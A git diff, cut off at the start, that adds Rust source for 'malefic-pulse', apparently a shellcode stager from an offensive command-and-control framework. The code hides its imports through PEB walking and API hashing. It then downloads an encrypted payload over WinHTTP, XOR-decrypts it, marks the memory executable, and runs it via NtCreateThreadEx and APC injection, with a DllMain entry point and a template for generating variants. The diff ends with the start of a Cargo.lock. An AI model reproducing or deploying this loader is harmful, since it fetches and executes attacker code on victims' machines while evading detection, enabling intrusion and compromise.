-1isize as HANDLE, &mut base_addr, 0, &mut region_size, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, + ); + if status != STATUS_SUCCESS || base_addr.is_null() { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + + // Read shellcode via WinHttpReadData + let mut total_read: u32 = 0; + while total_read < recv_len { + let mut bytes_read: DWORD = 0; + let ret = p_winhttp_read_data( + h_request, + (base_addr as *mut u8).add(total_read as usize) as PVOID, + recv_len - total_read, + &mut bytes_read, + ); + if ret == 0 || bytes_read == 0 { + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + return; + } + total_read += bytes_read; + } + p_winhttp_close_handle(h_request); + p_winhttp_close_handle(h_connect); + p_winhttp_close_handle(h_session); + + // Decrypt shellcode + xor_process( + core::slice::from_raw_parts_mut(base_addr as *mut u8, recv_len as usize), + &key, &iv, &mut counter, + ); + + // Change memory protection to executable + let mut old_protect: ULONG = 0; + let mut protect_base = base_addr; + let mut protect_size = region_size; + let nt_protect: FnNtProtectVirtualMemory = + core::mem::transmute(self.ntdll.NtProtectVirtualMemory); + nt_protect( + -1isize as HANDLE, &mut protect_base, &mut protect_size, + PAGE_EXECUTE_READ, &mut old_protect, + ); + + // Execute shellcode via APC injection + let nt_create: FnNtCreateThreadEx = + core::mem::transmute(self.ntdll.NtCreateThreadEx); + let nt_queue: FnNtQueueApcThread = + core::mem::transmute(self.ntdll.NtQueueApcThread); + let nt_resume: FnNtAlertResumeThread = + core::mem::transmute(self.ntdll.NtAlertResumeThread); + let nt_wait: FnNtWaitForSingleObject = + core::mem::transmute(self.ntdll.NtWaitForSingleObject); + + let mut thread_handle: HANDLE = core::ptr::null_mut(); + nt_create( + &mut thread_handle, 0x1FFFFF, core::ptr::null_mut(), + -1isize as HANDLE, base_addr, core::ptr::null_mut(), + THREAD_CREATE_FLAGS_CREATE_SUSPENDED, + 0, 0, 0, core::ptr::null_mut(), + ); + if thread_handle.is_null() { return; } + + nt_queue( + thread_handle, base_addr, + core::ptr::null_mut(), core::ptr::null_mut(), core::ptr::null_mut(), + ); + + let mut suspend_count: ULONG = 0; + nt_resume(thread_handle, &mut suspend_count); + nt_wait(thread_handle, 0, core::ptr::null_mut()); + } +} diff --git a/malefic-pulse/src/lib.rs b/malefic-pulse/src/lib.rs new file mode 100644 index 0000000..ab4638b --- /dev/null +++ b/malefic-pulse/src/lib.rs @@ -0,0 +1,135 @@ +#![no_std] +#![no_main] +#![allow(non_snake_case)] + +mod constants; +mod hash; +mod instance; +mod memory; +mod resolve; +mod windows; + +pub use constants::*; +pub use hash::*; +pub use instance::*; +pub use resolve::*; +pub use windows::*; + +// Stub for Windows GNU target: libcore.rlib contains .xdata unwind tables +// that reference rust_eh_personality even when panic=abort is set. +// Providing an empty stub satisfies the linker. +#[cfg(all(target_os = "windows", target_env = "gnu"))] +#[no_mangle] +pub extern "C" fn rust_eh_personality() {} + +use core::ffi::c_void; +use core::panic::PanicInfo; + +// x64 entry point and RIP-relative helpers via global_asm +#[cfg(target_arch = "x86_64")] +core::arch::global_asm!( + ".section .text$A,\"xr\"", + ".global stardust", + ".global RipStart", + "stardust:", + "push rsi", + "mov rsi, rsp", + "and rsp, -16", + "sub rsp, 0x20", + "call entry", + "mov rsp, rsi", + "pop rsi", + "ret", + "RipStart:", + "call 2f", + "ret", + "2:", + "mov rax, [rsp]", + "sub rax, 0x1b", + "ret", +); + +#[cfg(target_arch = "x86_64")] +core::arch::global_asm!( + ".section .text$C,\"xr\"", + ".global RipData", + "RipData:", + "call 2f", + "ret", + "2:", + "mov rax, [rsp]", + "sub rax, 0x5", + "ret", +); + +// x86 entry point and RIP-relative helpers via global_asm +#[cfg(target_arch = "x86")] +core::arch::global_asm!( + ".section .text$A,\"xr\"", + ".global _stardust", + ".global _RipStart", + "_stardust:", + "push ebp", + "mov ebp, esp", + "call _entry", + "mov esp, ebp", + "pop ebp", + "ret", + "_RipStart:", + "call 2f", + "ret", + "2:", + "mov eax, [esp]", + "sub eax, 0x11", + "ret", +); + +#[cfg(target_arch = "x86")] +core::arch::global_asm!( + ".section .text$C,\"xr\"", + ".global _RipData", + "_RipData:", + "call 2f", + "ret", + "2:", + "mov eax, [esp]", + "sub eax, 0x5", + "ret", +); + +extern "C" { + pub fn RipStart() -> usize; + pub fn RipData() -> usize; +} + +#[no_mangle] +pub unsafe extern "C" fn entry(args: *mut c_void) { + let instance = instance::Instance::new(); + instance.start(args); +} + +#[no_mangle] +pub unsafe extern "system" fn DllMain( + _hinst: *mut c_void, + reason: u32, + _reserved: *mut c_void, +) -> i32 { + if reason == 1 { + // DLL_PROCESS_ATTACH + entry(core::ptr::null_mut()); + } + 1 +} + +#[panic_handler] +fn panic(_info: &PanicInfo) -> ! { + loop {} +} + +#[no_mangle] +pub unsafe extern "C" fn __aeabi_unwind_cpp_pr0() { + loop {} +} + +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; diff --git a/malefic-pulse/src/main.rs b/malefic-pulse/src/main.rs index 8a55e80..b287a77 100644 --- a/malefic-pulse/src/main.rs +++ b/malefic-pulse/src/main.rs @@ -1,3 +1,10 @@ -fn main() { - -} \ No newline at end of file +#![no_std] +#![no_main] + +// Force-link the lib crate so that stardust (the real entry point, set via +// -estardust linker flag) and all reachable code end up in the final binary. +extern crate malefic_pulse; + +// Force the linker to include the lib's rlib (extern crate alone may not suffice) +#[used] +static _FORCE_LINK: unsafe extern "C" fn(*mut core::ffi::c_void) = malefic_pulse::entry; diff --git a/malefic-pulse/src/memory.rs b/malefic-pulse/src/memory.rs new file mode 100644 index 0000000..617ff09 --- /dev/null +++ b/malefic-pulse/src/memory.rs @@ -0,0 +1,96 @@ +pub unsafe fn zero(memory: *mut u8, length: u32) { + for i in 0..length { + *memory.offset(i as isize) = 0; + } +} + +pub unsafe fn copy(destination: *mut u8, source: *const u8, length: u32) -> *mut u8 { + for i in 0..length { + *destination.offset(i as isize) = *source.offset(i as isize); + } + destination +} + +pub unsafe fn compare(memory1: *const u8, memory2: *const u8, length: usize) -> u32 { + let mut a = memory1; + let mut b = memory2; + let mut len = length; + + while len > 0 { + let val1 = *a; + let val2 = *b; + + if val1 != val2 { + return (val1 as i32 - val2 as i32) as u32; + } + + a = a.offset(1); + b = b.offset(1); + len -= 1; + } + + 0 +} + +pub unsafe fn symbol(s: *const u8) -> T { + let rip_data = external_rip_data(); + let offset = (s as usize).wrapping_sub(rip_data_fn_addr() as usize); + let absolute_addr = rip_data.wrapping_sub(offset); + + core::mem::transmute_copy(&absolute_addr) +} + +fn rip_data_fn_addr() -> usize { + crate::RipData as usize +} + +fn external_rip_data() -> usize { + unsafe { crate::RipData() } +} + +// Compiler intrinsics required by no_std builds (-nostdlib) +#[no_mangle] +pub unsafe extern "C" fn memset(dest: *mut u8, val: i32, n: usize) -> *mut u8 { + let mut i = 0; + while i < n { + *dest.add(i) = val as u8; + i += 1; + } + dest +} + +#[no_mangle] +pub unsafe extern "C" fn memcpy(dest: *mut u8, src: *const u8, n: usize) -> *mut u8 { + let mut i = 0; + while i < n { + *dest.add(i) = *src.add(i); + i += 1; + } + dest +} + +#[no_mangle] +pub unsafe extern "C" fn memcmp(s1: *const u8, s2: *const u8, n: usize) -> i32 { + let mut i = 0; + while i < n { + let diff = *s1.add(i) as i32 - *s2.add(i) as i32; + if diff != 0 { + return diff; + } + i += 1; + } + 0 +} + +#[macro_export] +macro_rules! range_head_list { + ($head_list:expr, $type:ty, |$current:ident| $body:block) => {{ + let head_ptr = $head_list as *const LIST_ENTRY; + let mut $current = (*head_ptr).Flink as $type; + + while $current as *const _ != head_ptr as *const _ { + $body + $current = (*$current).InLoadOrderLinks.Flink as $type; + } + }}; +} diff --git a/malefic-pulse/src/resolve.rs b/malefic-pulse/src/resolve.rs new file mode 100644 index 0000000..263a076 --- /dev/null +++ b/malefic-pulse/src/resolve.rs @@ -0,0 +1,80 @@ +use crate::constants::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE}; +use crate::hash::{hash_string, hash_string_wide}; +use crate::range_head_list; +use crate::windows::*; + +pub unsafe fn module(library_hash: u32) -> usize { + let peb = NtCurrentPeb(); + let ldr = (*peb).Ldr; + let module_list = &(*ldr).InLoadOrderModuleList; + + let mut result = 0; + + range_head_list!(module_list, PLDR_DATA_TABLE_ENTRY, |current| { + if library_hash == 0 { + result = (*current).OriginalBase as usize; + break; + } + + if hash_string_wide((*current).BaseDllName.Buffer) == library_hash { + result = (*current).OriginalBase as usize; + break; + } + }); + + result +} + +pub unsafe fn _api(module_base: usize, symbol_hash: usize) -> usize { + if module_base == 0 || symbol_hash == 0 { + return 0; + } + + let mut address = 0; + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return 0; + } + + let nt_headers = (module_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { + return 0; + } + + let export_dir_rva = + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + let export_dir = (module_base + export_dir_rva as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = (module_base + (*export_dir).AddressOfNames as usize) as *mut u32; + let functions = (module_base + (*export_dir).AddressOfFunctions as usize) as *mut u32; + let ordinals = (module_base + (*export_dir).AddressOfNameOrdinals as usize) as *mut u16; + + for i in 0..(*export_dir).NumberOfNames { + let name_rva = *names.offset(i as isize); + let name = (module_base + name_rva as usize) as *const u8; + + if hash_string(name) == symbol_hash as u32 { + let ordinal = *ordinals.offset(i as isize) as isize; + let function_rva = *functions.offset(ordinal); + address = module_base + function_rva as usize; + break; + } + } + + address +} + +pub unsafe fn api(module_base: usize, symbol_hash: usize) -> *mut T { + _api(module_base, symbol_hash) as *mut T +} + +#[macro_export] +macro_rules! resolve_api { + ($module:expr, $name:ident) => { + $crate::resolve::api::( + $module, + $crate::hash_str!(stringify!($name)) as usize, + ) as *const unsafe extern "system" fn() + }; +} diff --git a/malefic-pulse/src/template/instance_template b/malefic-pulse/src/template/instance_template new file mode 100644 index 0000000..bbe8ccf --- /dev/null +++ b/malefic-pulse/src/template/instance_template @@ -0,0 +1,225 @@ +use crate::constants::{ + AF_INET, END_OFFSET, IPPROTO_TCP, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, + PAGE_READWRITE, SOCK_STREAM, STATUS_SUCCESS, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, +}; +use crate::hash_str; +use crate::resolve; +use crate::windows::*; +use core::ffi::c_void; + +// kernel32 function pointer types +type FnLoadLibraryA = unsafe extern "system" fn(lpLibFileName: PSTR) -> HMODULE; +type FnGetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PSTR) -> PVOID; + +// ws2_32 function pointer types +type FnWSAStartup = unsafe extern "system" fn(wVersionRequested: WORD, lpWSAData: *mut WSADATA) -> i32; +type FnSocket = unsafe extern "system" fn(af: i32, socket_type: i32, protocol: i32) -> usize; +type FnConnect = unsafe extern "system" fn(s: usize, name: *const SOCKADDR_IN, namelen: i32) -> i32; +type FnSend = unsafe extern "system" fn(s: usize, buf: *const u8, len: i32, flags: i32) -> i32; +type FnRecv = unsafe extern "system" fn(s: usize, buf: *mut u8, len: i32, flags: i32) -> i32; +type FnClosesocket = unsafe extern "system" fn(s: usize) -> i32; +type FnInetAddr = unsafe extern "system" fn(cp: *const u8) -> u32; +type FnHtons = unsafe extern "system" fn(hostshort: u16) -> u16; + +// winhttp.dll function pointer types +type FnWinHttpOpen = unsafe extern "system" fn( + pszAgentW: LPCWSTR, dwAccessType: DWORD, pszProxyW: LPCWSTR, + pszProxyBypassW: LPCWSTR, dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpConnect = unsafe extern "system" fn( + hSession: HANDLE, pswzServerName: LPCWSTR, nServerPort: WORD, dwReserved: DWORD, +) -> HANDLE; +type FnWinHttpOpenRequest = unsafe extern "system" fn( + hConnect: HANDLE, pwszVerb: LPCWSTR, pwszObjectName: LPCWSTR, + pwszVersion: LPCWSTR, pwszReferrer: LPCWSTR, ppwszAcceptTypes: *const LPCWSTR, + dwFlags: DWORD, +) -> HANDLE; +type FnWinHttpSendRequest = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: LPCWSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, + dwTotalLength: DWORD, dwContext: usize, +) -> BOOL; +type FnWinHttpReceiveResponse = unsafe extern "system" fn( + hRequest: HANDLE, lpReserved: PVOID, +) -> BOOL; +type FnWinHttpReadData = unsafe extern "system" fn( + hRequest: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnWinHttpCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnWinHttpSetOption = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// wininet.dll function pointer types +type FnInternetOpenA = unsafe extern "system" fn( + lpszAgent: PSTR, dwAccessType: DWORD, lpszProxy: PSTR, + lpszProxyBypass: PSTR, dwFlags: DWORD, +) -> HANDLE; +type FnInternetConnectA = unsafe extern "system" fn( + hInternet: HANDLE, lpszServerName: PSTR, nServerPort: WORD, + lpszUserName: PSTR, lpszPassword: PSTR, + dwService: DWORD, dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpOpenRequestA = unsafe extern "system" fn( + hConnect: HANDLE, lpszVerb: PSTR, lpszObjectName: PSTR, + lpszVersion: PSTR, lpszReferrer: PSTR, lplpszAcceptTypes: *const PSTR, + dwFlags: DWORD, dwContext: usize, +) -> HANDLE; +type FnHttpSendRequestA = unsafe extern "system" fn( + hRequest: HANDLE, lpszHeaders: PSTR, dwHeadersLength: DWORD, + lpOptional: PVOID, dwOptionalLength: DWORD, +) -> BOOL; +type FnInternetReadFile = unsafe extern "system" fn( + hFile: HANDLE, lpBuffer: PVOID, dwNumberOfBytesToRead: DWORD, + lpdwNumberOfBytesRead: *mut DWORD, +) -> BOOL; +type FnInternetCloseHandle = unsafe extern "system" fn(hInternet: HANDLE) -> BOOL; +type FnInternetSetOptionA = unsafe extern "system" fn( + hInternet: HANDLE, dwOption: DWORD, lpBuffer: PVOID, dwBufferLength: DWORD, +) -> BOOL; + +// ntdll NtAPI function pointer types +type FnNtAllocateVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + ZeroBits: ULONG_PTR, + RegionSize: PSIZE_T, + AllocationType: ULONG, + Protect: ULONG, +) -> NTSTATUS; +type FnNtProtectVirtualMemory = unsafe extern "system" fn( + ProcessHandle: HANDLE, + BaseAddress: *mut PVOID, + RegionSize: PSIZE_T, + NewProtect: ULONG, + OldProtect: *mut ULONG, +) -> NTSTATUS; +type FnNtCreateThreadEx = unsafe extern "system" fn( + ThreadHandle: *mut HANDLE, + DesiredAccess: ACCESS_MASK, + ObjectAttributes: *mut OBJECT_ATTRIBUTES, + ProcessHandle: HANDLE, + StartRoutine: PVOID, + Argument: PVOID, + CreateFlags: ULONG, + ZeroBits: SIZE_T, + StackSize: SIZE_T, + MaximumStackSize: SIZE_T, + AttributeList: PVOID, +) -> NTSTATUS; +type FnNtQueueApcThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + ApcRoutine: PVOID, + ApcArgument1: PVOID, + ApcArgument2: PVOID, + ApcArgument3: PVOID, +) -> NTSTATUS; +type FnNtAlertResumeThread = unsafe extern "system" fn( + ThreadHandle: HANDLE, + PreviousSuspendCount: *mut ULONG, +) -> NTSTATUS; +type FnNtWaitForSingleObject = unsafe extern "system" fn( + Handle: HANDLE, + Alertable: BOOL, + Timeout: *mut i64, +) -> NTSTATUS; + +pub struct Instance { + pub base: BaseInfo, + pub ntdll: NtdllModule, + pub kernel32: Kernel32Module, +} + +pub struct BaseInfo { + pub address: usize, + pub length: usize, +} + +pub struct NtdllModule { + pub handle: usize, + pub NtAllocateVirtualMemory: *mut FnNtAllocateVirtualMemory, + pub NtProtectVirtualMemory: *mut FnNtProtectVirtualMemory, + pub NtCreateThreadEx: *mut FnNtCreateThreadEx, + pub NtQueueApcThread: *mut FnNtQueueApcThread, + pub NtAlertResumeThread: *mut FnNtAlertResumeThread, + pub NtWaitForSingleObject: *mut FnNtWaitForSingleObject, +} + +pub struct Kernel32Module { + pub handle: usize, + pub LoadLibraryA: *mut FnLoadLibraryA, + pub GetProcAddress: *mut FnGetProcAddress, +} + +impl Instance { + pub fn new() -> Self { + unsafe { + let mut instance = Instance { + base: BaseInfo { + address: 0, + length: 0, + }, + ntdll: NtdllModule { + handle: 0, + NtAllocateVirtualMemory: core::ptr::null_mut(), + NtProtectVirtualMemory: core::ptr::null_mut(), + NtCreateThreadEx: core::ptr::null_mut(), + NtQueueApcThread: core::ptr::null_mut(), + NtAlertResumeThread: core::ptr::null_mut(), + NtWaitForSingleObject: core::ptr::null_mut(), + }, + kernel32: Kernel32Module { + handle: 0, + LoadLibraryA: core::ptr::null_mut(), + GetProcAddress: core::ptr::null_mut(), + }, + }; + + instance.base.address = crate::RipStart(); + instance.base.length = + (crate::RipData() - instance.base.address) + END_OFFSET; + + instance.ntdll.handle = resolve::module(hash_str!("ntdll.dll")); + if instance.ntdll.handle == 0 { + return instance; + } + + instance.kernel32.handle = resolve::module(hash_str!("kernel32.dll")); + if instance.kernel32.handle == 0 { + return instance; + } + + // Resolve kernel32 APIs + instance.kernel32.LoadLibraryA = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("LoadLibraryA") as usize), + ); + instance.kernel32.GetProcAddress = core::mem::transmute( + resolve::_api(instance.kernel32.handle, hash_str!("GetProcAddress") as usize), + ); + + // Resolve ntdll APIs + instance.ntdll.NtAllocateVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAllocateVirtualMemory") as usize), + ); + instance.ntdll.NtProtectVirtualMemory = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtProtectVirtualMemory") as usize), + ); + instance.ntdll.NtCreateThreadEx = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtCreateThreadEx") as usize), + ); + instance.ntdll.NtQueueApcThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtQueueApcThread") as usize), + ); + instance.ntdll.NtAlertResumeThread = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtAlertResumeThread") as usize), + ); + instance.ntdll.NtWaitForSingleObject = core::mem::transmute( + resolve::_api(instance.ntdll.handle, hash_str!("NtWaitForSingleObject") as usize), + ); + + instance + } + } + + // INSTANCE_START_MARKER - malefic-mutant appends start() and closes impl below diff --git a/malefic-pulse/src/windows.rs b/malefic-pulse/src/windows.rs new file mode 100644 index 0000000..8b7063c --- /dev/null +++ b/malefic-pulse/src/windows.rs @@ -0,0 +1,347 @@ +#![allow(non_snake_case, non_camel_case_types)] + +use core::ffi::c_void; + +// Windows basic types +pub type BYTE = u8; +pub type WORD = u16; +pub type DWORD = u32; +pub type LONG = i32; +pub type ULONG = u32; +pub type ULONG_PTR = usize; +pub type PVOID = *mut c_void; +pub type LPVOID = *mut c_void; +pub type HANDLE = PVOID; +pub type HMODULE = HANDLE; +pub type BOOL = i32; +pub type PSTR = *mut u8; +pub type PWSTR = *mut u16; +pub type PCH = *const i8; +pub type LPCSTR = *const i8; +pub type LPCWSTR = *const u16; +pub type UINT = u32; +pub type WCHAR = u16; +pub type NTSTATUS = i32; +pub type SIZE_T = usize; +pub type PSIZE_T = *mut SIZE_T; +pub type ACCESS_MASK = DWORD; + +// Windows structures +#[repr(C)] +pub struct LIST_ENTRY { + pub Flink: *mut LIST_ENTRY, + pub Blink: *mut LIST_ENTRY, +} +pub type PLIST_ENTRY = *mut LIST_ENTRY; + +#[repr(C)] +pub struct UNICODE_STRING { + pub Length: u16, + pub MaximumLength: u16, + pub Buffer: *mut WCHAR, +} +pub type PUNICODE_STRING = *mut UNICODE_STRING; + +#[repr(C)] +pub struct CLIENT_ID { + pub UniqueProcess: HANDLE, + pub UniqueThread: HANDLE, +} + +#[repr(C)] +pub struct RTL_USER_PROCESS_PARAMETERS { + pub Reserved1: [BYTE; 16], + pub Reserved2: [PVOID; 10], + pub ImagePathName: UNICODE_STRING, + pub CommandLine: UNICODE_STRING, +} +pub type PRTL_USER_PROCESS_PARAMETERS = *mut RTL_USER_PROCESS_PARAMETERS; + +#[repr(C)] +pub struct PEB_LDR_DATA { + pub Length: ULONG, + pub Initialized: BOOL, + pub SsHandle: HANDLE, + pub InLoadOrderModuleList: LIST_ENTRY, + pub InMemoryOrderModuleList: LIST_ENTRY, + pub InInitializationOrderModuleList: LIST_ENTRY, +} +pub type PPEB_LDR_DATA = *mut PEB_LDR_DATA; + +#[repr(C)] +pub struct LDR_DATA_TABLE_ENTRY { + pub InLoadOrderLinks: LIST_ENTRY, + pub InMemoryOrderLinks: LIST_ENTRY, + pub InInitializationOrderLinks: LIST_ENTRY, + pub OriginalBase: PVOID, + pub EntryPoint: PVOID, + pub SizeOfImage: ULONG, + pub FullDllName: UNICODE_STRING, + pub BaseDllName: UNICODE_STRING, + pub Flags: ULONG, + pub LoadCount: u16, + pub TlsIndex: u16, + pub HashLinks: LIST_ENTRY, + pub TimeDateStamp: ULONG, +} +pub type PLDR_DATA_TABLE_ENTRY = *mut LDR_DATA_TABLE_ENTRY; + +#[repr(C)] +pub struct PEB { + pub InheritedAddressSpace: BYTE, + pub ReadImageFileExecOptions: BYTE, + pub BeingDebugged: BYTE, + pub BitField: BYTE, + pub Mutant: HANDLE, + pub ImageBaseAddress: PVOID, + pub Ldr: *mut PEB_LDR_DATA, + pub ProcessParameters: PRTL_USER_PROCESS_PARAMETERS, +} +pub type PPEB = *mut PEB; + +#[repr(C)] +pub struct TEB { + pub Reserved1: [BYTE; 12], + pub ProcessEnvironmentBlock: PPEB, + pub Reserved2: [BYTE; 399], + pub ClientId: CLIENT_ID, +} +pub type PTEB = *mut TEB; + +// PE Format structures +#[repr(C)] +pub struct IMAGE_DOS_HEADER { + pub e_magic: WORD, + pub e_cblp: WORD, + pub e_cp: WORD, + pub e_crlc: WORD, + pub e_cparhdr: WORD, + pub e_minalloc: WORD, + pub e_maxalloc: WORD, + pub e_ss: WORD, + pub e_sp: WORD, + pub e_csum: WORD, + pub e_ip: WORD, + pub e_cs: WORD, + pub e_lfarlc: WORD, + pub e_ovno: WORD, + pub e_res: [WORD; 4], + pub e_oemid: WORD, + pub e_oeminfo: WORD, + pub e_res2: [WORD; 10], + pub e_lfanew: LONG, +} +pub type PIMAGE_DOS_HEADER = *mut IMAGE_DOS_HEADER; + +#[repr(C)] +pub struct IMAGE_DATA_DIRECTORY { + pub VirtualAddress: DWORD, + pub Size: DWORD, +} +pub type PIMAGE_DATA_DIRECTORY = *mut IMAGE_DATA_DIRECTORY; + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER64 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub ImageBase: u64, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: u64, + pub SizeOfStackCommit: u64, + pub SizeOfHeapReserve: u64, + pub SizeOfHeapCommit: u64, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_OPTIONAL_HEADER32 { + pub Magic: WORD, + pub MajorLinkerVersion: BYTE, + pub MinorLinkerVersion: BYTE, + pub SizeOfCode: DWORD, + pub SizeOfInitializedData: DWORD, + pub SizeOfUninitializedData: DWORD, + pub AddressOfEntryPoint: DWORD, + pub BaseOfCode: DWORD, + pub BaseOfData: DWORD, + pub ImageBase: DWORD, + pub SectionAlignment: DWORD, + pub FileAlignment: DWORD, + pub MajorOperatingSystemVersion: WORD, + pub MinorOperatingSystemVersion: WORD, + pub MajorImageVersion: WORD, + pub MinorImageVersion: WORD, + pub MajorSubsystemVersion: WORD, + pub MinorSubsystemVersion: WORD, + pub Win32VersionValue: DWORD, + pub SizeOfImage: DWORD, + pub SizeOfHeaders: DWORD, + pub CheckSum: DWORD, + pub Subsystem: WORD, + pub DllCharacteristics: WORD, + pub SizeOfStackReserve: DWORD, + pub SizeOfStackCommit: DWORD, + pub SizeOfHeapReserve: DWORD, + pub SizeOfHeapCommit: DWORD, + pub LoaderFlags: DWORD, + pub NumberOfRvaAndSizes: DWORD, + pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], +} + +#[repr(C)] +pub struct IMAGE_FILE_HEADER { + pub Machine: WORD, + pub NumberOfSections: WORD, + pub TimeDateStamp: DWORD, + pub PointerToSymbolTable: DWORD, + pub NumberOfSymbols: DWORD, + pub SizeOfOptionalHeader: WORD, + pub Characteristics: WORD, +} + +#[cfg(target_arch = "x86_64")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, +} + +#[cfg(target_arch = "x86")] +#[repr(C)] +pub struct IMAGE_NT_HEADERS { + pub Signature: DWORD, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: IMAGE_OPTIONAL_HEADER32, +} + +pub type PIMAGE_NT_HEADERS = *mut IMAGE_NT_HEADERS; + +#[repr(C)] +pub struct IMAGE_EXPORT_DIRECTORY { + pub Characteristics: DWORD, + pub TimeDateStamp: DWORD, + pub MajorVersion: WORD, + pub MinorVersion: WORD, + pub Name: DWORD, + pub Base: DWORD, + pub NumberOfFunctions: DWORD, + pub NumberOfNames: DWORD, + pub AddressOfFunctions: DWORD, + pub AddressOfNames: DWORD, + pub AddressOfNameOrdinals: DWORD, +} +pub type PIMAGE_EXPORT_DIRECTORY = *mut IMAGE_EXPORT_DIRECTORY; + +// WinSock structures +#[repr(C)] +pub struct WSADATA { + pub wVersion: WORD, + pub wHighVersion: WORD, + #[cfg(target_arch = "x86_64")] + pub iMaxSockets: u16, + #[cfg(target_arch = "x86_64")] + pub iMaxUdpDg: u16, + #[cfg(target_arch = "x86_64")] + pub lpVendorInfo: *mut u8, + pub szDescription: [u8; 257], + pub szSystemStatus: [u8; 129], + #[cfg(target_arch = "x86")] + pub iMaxSockets: u16, + #[cfg(target_arch = "x86")] + pub iMaxUdpDg: u16, + #[cfg(target_arch = "x86")] + pub lpVendorInfo: *mut u8, +} + +#[repr(C)] +pub struct IN_ADDR { + pub s_addr: u32, +} + +#[repr(C)] +pub struct SOCKADDR_IN { + pub sin_family: i16, + pub sin_port: u16, + pub sin_addr: IN_ADDR, + pub sin_zero: [u8; 8], +} + +// OBJECT_ATTRIBUTES for NtCreateThreadEx +#[repr(C)] +pub struct OBJECT_ATTRIBUTES { + pub Length: ULONG, + pub RootDirectory: HANDLE, + pub ObjectName: PUNICODE_STRING, + pub Attributes: ULONG, + pub SecurityDescriptor: PVOID, + pub SecurityQualityOfService: PVOID, +} + +// Helper functions for accessing TEB/PEB +#[cfg(target_arch = "x86_64")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + let teb: PTEB; + core::arch::asm!( + "mov {}, gs:[0x30]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb +} + +#[cfg(target_arch = "x86")] +#[inline(always)] +pub unsafe fn NtCurrentTeb() -> PTEB { + let teb: PTEB; + core::arch::asm!( + "mov {}, fs:[0x18]", + out(reg) teb, + options(nostack, preserves_flags) + ); + teb +} + +#[cfg(target_arch = "x86_64")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, gs:[0x60]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} + +#[cfg(target_arch = "x86")] +pub unsafe fn NtCurrentPeb() -> *mut PEB { + let peb: *mut PEB; + core::arch::asm!( + "mov {}, fs:[0x30]", + out(reg) peb, + options(nostack, preserves_flags) + ); + peb +} diff --git a/malefic-starship/Cargo.lock b/malefic-starship/Cargo.lock new file mode 100644 index 0000000..01e00f9 --- /dev/null +++ b/malefic-starship/Cargo.lock @@ -0,0 +1,1654 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + 